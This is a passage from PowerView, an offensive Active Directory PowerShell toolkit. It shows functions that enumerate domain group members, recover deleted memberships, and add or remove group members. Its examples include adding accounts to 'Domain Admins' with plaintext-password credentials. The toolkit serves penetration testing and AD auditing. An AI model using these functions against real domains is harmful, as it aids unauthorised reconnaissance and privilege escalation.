S-1-5-21-890171859-3433809279-3366196753-1108 + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 + +.EXAMPLE + +Get-DomainGroupMember -Domain testlab.local -Identity 'Desktop Admins' -RecurseUingMatchingRule + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : harmj0y +MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 + +.EXAMPLE + +Get-DomainGroup *admin* -Properties samaccountname | Get-DomainGroupMember + +.EXAMPLE + +'CN=Enterprise Admins,CN=Users,DC=testlab,DC=local', 'Domain Admins' | Get-DomainGroupMember + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGroupMember -Credential $Cred -Identity 'Domain Admins' + +.EXAMPLE + +Get-Domain | Select-Object -Expand name +testlab.local + +'dev\domain admins' | Get-DomainGroupMember -Verbose +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainGroupMember] Extracted domain 'dev.testlab.local' from 'dev\domain admins' +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainGroupMember] Get-DomainGroupMember filter string: (&(objectCategory=group)(|(samAccountName=domain admins))) +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=user1,CN=Users,DC=dev,DC=testlab,DC=local))) + +GroupDomain : dev.testlab.local +GroupName : Domain Admins +GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local +MemberDomain : dev.testlab.local +MemberName : user1 +MemberDistinguishedName : CN=user1,CN=Users,DC=dev,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-339048670-1233568108-4141518690-201108 + +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local))) +GroupDomain : dev.testlab.local +GroupName : Domain Admins +GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local +MemberDomain : dev.testlab.local +MemberName : Administrator +MemberDistinguishedName : CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-339048670-1233568108-4141518690-500 + +.OUTPUTS + +PowerView.GroupMember + +Custom PSObject with translated group member property fields. + +.LINK + +http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.GroupMember')] + [CmdletBinding(DefaultParameterSetName = 'None')] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Parameter(ParameterSetName = 'ManualRecurse')] + [Switch] + $Recurse, + + [Parameter(ParameterSetName = 'RecurseUsingMatchingRule')] + [Switch] + $RecurseUsingMatchingRule, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'member,samaccountname,distinguishedname' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $ADNameArguments = @{} + if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } + } + + PROCESS { + $GroupSearcher = Get-DomainSearcher @SearcherArguments + if ($GroupSearcher) { + if ($PSBoundParameters['RecurseUsingMatchingRule']) { + $SearcherArguments['Identity'] = $Identity + $SearcherArguments['Raw'] = $True + $Group = Get-DomainGroup @SearcherArguments + + if (-not $Group) { + Write-Warning "[Get-DomainGroupMember] Error searching for group with identity: $Identity" + } + else { + $GroupFoundName = $Group.properties.item('samaccountname')[0] + $GroupFoundDN = $Group.properties.item('distinguishedname')[0] + + if ($PSBoundParameters['Domain']) { + $GroupFoundDomain = $Domain + } + else { + # if a domain isn't passed, try to extract it from the found group distinguished name + if ($GroupFoundDN) { + $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + } + Write-Verbose "[Get-DomainGroupMember] Using LDAP matching rule to recurse on '$GroupFoundDN', only user accounts will be returned." + $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupFoundDN))" + $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName')) + $Members = $GroupSearcher.FindAll() | ForEach-Object {$_.Properties.distinguishedname[0]} + } + $Null = $SearcherArguments.Remove('Raw') + } + else { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainGroupMember] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $GroupSearcher = Get-DomainSearcher @SearcherArguments + if (-not $GroupSearcher) { + Write-Warning "[Get-DomainGroupMember] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $GroupName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$GroupName)" + $SearcherArguments['Domain'] = $GroupDomain + Write-Verbose "[Get-DomainGroupMember] Extracted domain '$GroupDomain' from '$IdentityInstance'" + $GroupSearcher = Get-DomainSearcher @SearcherArguments + } + } + else { + $IdentityFilter += "(samAccountName=$IdentityInstance)" + } + } + + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainGroupMember] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $GroupSearcher.filter = "(&(objectCategory=group)$Filter)" + Write-Verbose "[Get-DomainGroupMember] Get-DomainGroupMember filter string: $($GroupSearcher.filter)" + try { + $Result = $GroupSearcher.FindOne() + } + catch { + Write-Warning "[Get-DomainGroupMember] Error searching for group with identity '$Identity': $_" + $Members = @() + } + + $GroupFoundName = '' + $GroupFoundDN = '' + + if ($Result) { + $Members = $Result.properties.item('member') + + if ($Members.count -eq 0) { + # ranged searching, thanks @meatballs__ ! + $Finished = $False + $Bottom = 0 + $Top = 0 + + while (-not $Finished) { + $Top = $Bottom + 1499 + $MemberRange="member;range=$Bottom-$Top" + $Bottom += 1500 + $Null = $GroupSearcher.PropertiesToLoad.Clear() + $Null = $GroupSearcher.PropertiesToLoad.Add("$MemberRange") + $Null = $GroupSearcher.PropertiesToLoad.Add('samaccountname') + $Null = $GroupSearcher.PropertiesToLoad.Add('distinguishedname') + + try { + $Result = $GroupSearcher.FindOne() + $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*" + $Members += $Result.Properties.item($RangedProperty) + $GroupFoundName = $Result.properties.item('samaccountname')[0] + $GroupFoundDN = $Result.properties.item('distinguishedname')[0] + + if ($Members.count -eq 0) { + $Finished = $True + } + } + catch [System.Management.Automation.MethodInvocationException] { + $Finished = $True + } + } + } + else { + $GroupFoundName = $Result.properties.item('samaccountname')[0] + $GroupFoundDN = $Result.properties.item('distinguishedname')[0] + $Members += $Result.Properties.item($RangedProperty) + } + + if ($PSBoundParameters['Domain']) { + $GroupFoundDomain = $Domain + } + else { + # if a domain isn't passed, try to extract it from the found group distinguished name + if ($GroupFoundDN) { + $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + } + } + } + + ForEach ($Member in $Members) { + if ($Recurse -and $UseMatchingRule) { + $Properties = $_.Properties + } + else { + $ObjectSearcherArguments = $SearcherArguments.Clone() + $ObjectSearcherArguments['Identity'] = $Member + $ObjectSearcherArguments['Raw'] = $True + $ObjectSearcherArguments['Properties'] = 'distinguishedname,cn,samaccountname,objectsid,objectclass' + $Object = Get-DomainObject @ObjectSearcherArguments + $Properties = $Object.Properties + } + + if ($Properties) { + $GroupMember = New-Object PSObject + $GroupMember | Add-Member Noteproperty 'GroupDomain' $GroupFoundDomain + $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName + $GroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupFoundDN + + if ($Properties.objectsid) { + $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectsid[0], 0).Value) + } + else { + $MemberSID = $Null + } + + try { + $MemberDN = $Properties.distinguishedname[0] + if ($MemberDN -match 'ForeignSecurityPrincipals|S-1-5-21') { + try { + if (-not $MemberSID) { + $MemberSID = $Properties.cn[0] + } + $MemberSimpleName = Convert-ADName -Identity $MemberSID -OutputType 'DomainSimple' @ADNameArguments + + if ($MemberSimpleName) { + $MemberDomain = $MemberSimpleName.Split('@')[1] + } + else { + Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN" + $MemberDomain = $Null + } + } + catch { + Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN" + $MemberDomain = $Null + } + } + else { + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.SubString($MemberDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + } + catch { + $MemberDN = $Null + $MemberDomain = $Null + } + + if ($Properties.samaccountname) { + # forest users have the samAccountName set + $MemberName = $Properties.samaccountname[0] + } + else { + # external trust users have a SID, so convert it + try { + $MemberName = ConvertFrom-SID -ObjectSID $Properties.cn[0] @ADNameArguments + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $Properties.cn[0] + } + } + + if ($Properties.objectclass -match 'computer') { + $MemberObjectClass = 'computer' + } + elseif ($Properties.objectclass -match 'group') { + $MemberObjectClass = 'group' + } + elseif ($Properties.objectclass -match 'user') { + $MemberObjectClass = 'user' + } + else { + $MemberObjectClass = $Null + } + $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain + $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName + $GroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDN + $GroupMember | Add-Member Noteproperty 'MemberObjectClass' $MemberObjectClass + $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID + $GroupMember.PSObject.TypeNames.Insert(0, 'PowerView.GroupMember') + $GroupMember + + # if we're doing manual recursion + if ($PSBoundParameters['Recurse'] -and $MemberDN -and ($MemberObjectClass -match 'group')) { + Write-Verbose "[Get-DomainGroupMember] Manually recursing on group: $MemberDN" + $SearcherArguments['Identity'] = $MemberDN + $Null = $SearcherArguments.Remove('Properties') + Get-DomainGroupMember @SearcherArguments + } + } + } + $GroupSearcher.dispose() + } + } +} + + +function Get-DomainGroupMemberDeleted { +<# +.SYNOPSIS + +Returns information on group members that were removed from the specified +group identity. Accomplished by searching the linked attribute replication +metadata for the group using Get-DomainObjectLinkedAttributeHistory. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObjectLinkedAttributeHistory + +.DESCRIPTION + +Wraps Get-DomainObjectLinkedAttributeHistory to return the linked attribute +replication metadata for the specified group. These are cases where the +'Version' attribute of group member in the replication metadata is even. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainGroupMemberDeleted | Group-Object GroupDN + +Count Name Group +----- ---- ----- + 2 CN=Domain Admins,CN=Us... {@{GroupDN=CN=Domain Admins,CN=Users,DC=test... + 3 CN=DomainLocalGroup,CN... {@{GroupDN=CN=DomainLocalGroup,CN=Users,DC=t... + +.EXAMPLE + +Get-DomainGroupMemberDeleted "Domain Admins" -Domain testlab.local + + +GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local +MemberDN : CN=testuser,CN=Users,DC=testlab,DC=local +TimeFirstAdded : 2017-06-13T23:07:43Z +TimeDeleted : 2017-06-13T23:26:17Z +LastOriginatingChange : 2017-06-13T23:26:17Z +TimesAdded : 2 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local +MemberDN : CN=dfm,CN=Users,DC=testlab,DC=local +TimeFirstAdded : 2017-06-13T22:20:02Z +TimeDeleted : 2017-06-13T23:26:17Z +LastOriginatingChange : 2017-06-13T23:26:17Z +TimesAdded : 5 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +.OUTPUTS + +PowerView.DomainGroupMemberDeleted + +Custom PSObject with translated replication metadata fields. + +.LINK + +https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.DomainGroupMemberDeleted')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'msds-replvaluemetadata','distinguishedname' + 'Raw' = $True + 'LDAPFilter' = '(objectCategory=group)' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } + + Get-DomainObject @SearcherArguments | ForEach-Object { + $ObjectDN = $_.Properties['distinguishedname'][0] + ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) { + $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue + if ($TempObject) { + if (($TempObject.pszAttributeName -Match 'member') -and (($TempObject.dwVersion % 2) -eq 0 )) { + $Output = New-Object PSObject + $Output | Add-Member NoteProperty 'GroupDN' $ObjectDN + $Output | Add-Member NoteProperty 'MemberDN' $TempObject.pszObjectDn + $Output | Add-Member NoteProperty 'TimeFirstAdded' $TempObject.ftimeCreated + $Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted + $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange + $Output | Add-Member NoteProperty 'TimesAdded' ($TempObject.dwVersion / 2) + $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN + $Output.PSObject.TypeNames.Insert(0, 'PowerView.DomainGroupMemberDeleted') + $Output + } + } + else { + Write-Verbose "[Get-DomainGroupMemberDeleted] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'" + } + } + } + } +} + + +function Add-DomainGroupMember { +<# +.SYNOPSIS + +Adds a domain user (or group) to an existing domain group, assuming +appropriate permissions to do so. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +.DESCRIPTION + +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to search for the specified -GroupIdentity, +which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For +each entry in -Members, each member identity is similarly searched for and added +to the group. + +.PARAMETER Identity + +A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to add members to. + +.PARAMETER Members + +One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName +(e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), +or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202). + +.PARAMETER Domain + +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' + +Adds harmj0y to 'Domain Admins' in the current domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred + +Adds harmj0y to 'Domain Admins' in the current domain using the alternate credentials. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred + +Creates the 'andy' user with the specified description and password, using the specified +alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember +and the alternate credentials. + +.LINK + +http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True)] + [Alias('GroupName', 'GroupIdentity')] + [String] + $Identity, + + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('MemberIdentity', 'Member', 'DistinguishedName')] + [String[]] + $Members, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $ContextArguments = @{ + 'Identity' = $Identity + } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + + $GroupContext = Get-PrincipalContext @ContextArguments + + if ($GroupContext) { + try { + $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity) + } + catch { + Write-Warning "[Add-DomainGroupMember] Error finding the group identity '$Identity' : $_" + } + } + } + + PROCESS { + if ($Group) { + ForEach ($Member in $Members) { + if ($Member -match '.+\\.+') { + $ContextArguments['Identity'] = $Member + $UserContext = Get-PrincipalContext @ContextArguments + if ($UserContext) { + $UserIdentity = $UserContext.Identity + } + } + else { + $UserContext = $GroupContext + $UserIdentity = $Member + } + Write-Verbose "[Add-DomainGroupMember] Adding member '$Member' to group '$Identity'" + $Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity) + $Group.Members.Add($Member) + $Group.Save() + } + } + } +} + + +function Remove-DomainGroupMember { +<# +.SYNOPSIS + +Removes a domain user (or group) from an existing domain group, assuming +appropriate permissions to do so. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +.DESCRIPTION + +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to search for the specified -GroupIdentity, +which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For +each entry in -Members, each member identity is similarly searched for and removed +from the group. + +.PARAMETER Identity + +A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to remove members from. + +.PARAMETER Members + +One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName +(e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), +or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202). + +.PARAMETER Domain + +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' + +Removes harmj0y from 'Domain Admins' in the current domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred + +Removes harmj0y from 'Domain Admins' in the current domain using the alternate credentials. + +.LINK + +http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True)] + [Alias('GroupName', 'GroupIdentity')] + [String] + $Identity, + + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('MemberIdentity', 'Member', 'DistinguishedName')] + [String[]] + $Members, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $ContextArguments = @{ + 'Identity' = $Identity + } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + + $GroupContext = Get-PrincipalContext @ContextArguments + + if ($GroupContext) { + try { + $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity) + } + catch { + Write-Warning "[Remove-DomainGroupMember] Error finding the group identity '$Identity' : $_" + } + } + } + + PROCESS { + if ($Group) { + ForEach ($Member in $Members) { + if ($Member -match '.+\\.+') { + $ContextArguments['Identity'] = $Member + $UserContext = Get-PrincipalContext @ContextArguments + if ($UserContext) { + $UserIdentity = $UserContext.Identity + } + } + else { + $UserContext = $GroupContext + $UserIdentity = $Member + } + Write-Verbose "[Remove-DomainGroupMember] Removing member '$Member' from group '$Identity'" + $Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity) + $Group.Members.Remove($Member) + $Group.Save() + } + } + } +} + + +function Get-DomainFileServer { +<# +.SYNOPSIS + +Returns a list of servers likely functioning as file servers. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher + +.DESCRIPTION + +Returns a list of likely fileservers by searching for all users in Active Directory +with non-null homedirectory, scriptpath, or profilepath fields, and extracting/uniquifying +the server names. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum 